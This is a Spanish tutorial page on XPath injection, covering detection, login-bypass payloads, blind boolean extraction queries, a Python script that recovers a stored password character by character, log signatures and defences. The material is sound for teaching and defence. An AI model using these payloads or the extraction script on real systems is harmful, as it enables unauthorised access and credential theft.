the_open_door
café
ESEN
← Volver al índice

XPath Injection

ATT&CKT1190

La inyección XPath aparece cuando una aplicación construye una consulta XPath (el lenguaje para navegar documentos XML) concatenando entrada del usuario. Es la prima de la SQLi pero sobre un XML en vez de una base de datos relacional: al no haber tablas ni information_schema, la enumeración se hace recorriendo la estructura del árbol (etiquetas, hijos, atributos) a ciegas. Sirve para saltarse autenticaciones y para extraer todo el contenido del XML, incluidas credenciales.

La detección es idéntica a la SQLi: una comilla que rompe la consulta y una condición siempre verdadera que la neutraliza. Si 1' or '1'='1 devuelve todos los registros, la entrada llega sin sanear a la query:

1' or '1'='1
' or '1'='1              (bypass de login: usuario o contraseña)

Como no hay UNION ni tablas de metadatos, la extracción es ciega y booleana: se pregunta por la estructura con count(), name(), substring() y string-length(), y la página responde de forma diferente (muestra o no el registro) según se cumpla la condición. Así se descubren, carácter a carácter, los nombres de etiquetas y sus valores:

1' and count(/*)=1 and '1'='1                          # ¿cuantas raices hay?
1' and string-length(name(/*[1]))=7 and '1'='1         # longitud del nombre de la raiz
1' and substring(name(/*[1]),1,1)='C' and '1'='1       # primer caracter de la raiz
1' and substring(//user[1]/password,1,1)='a' and '1'='1  # exfiltrar un valor sensible

Ese barrido a mano es tedioso, así que se automatiza con un script que itera posición y carácter y detecta el cambio en la respuesta (longitud del HTML distinta) para confirmar cada acierto:

import requests, string
url, known = "http://<ip>/login", ""
charset = string.ascii_letters + string.digits + "_-@.{}"
for pos in range(1, 60):
    hit = False
    for c in charset:
        p = f"1' and substring(//user[1]/password,{pos},1)='{c}' and '1'='1"
        if "Invalid" not in requests.post(url, data={"username": p, "password": "x"}).text:
            known += c; print(known); hit = True; break
    if not hit: break

Requisitos. El backend debe construir la consulta XPath concatenando la entrada (patrón //user[name/text()='INPUT' and password/text()='INPUT']) sin parametrizar ni escapar. Para el bypass de login basta con inyectar en usuario o contraseña; para la extracción ciega, con que la respuesta sea observablemente distinta entre condición verdadera y falsa.

Cómo detectarlo. En el log de la aplicación, la firma son parámetros con sintaxis XPath en tráfico de entrada: comillas de cierre seguidas de or '1'='1, y sobre todo el barrido ciego, cientos de peticiones casi idénticas variando el índice de substring() o el carácter comparado. Ese patrón repetitivo sobre un mismo endpoint de búsqueda es inconfundible y lo marca un WAF.

Defensa. No concatenar entrada en XPath: usar consultas parametrizadas (variables XPath / API que separe la consulta de los datos), escapar comillas y caracteres de control, y validar la entrada. Devolver respuestas homogéneas para no dar el oráculo booleano. Comparte mecánica con la SQLi de bypass de login y la SQLi ciega.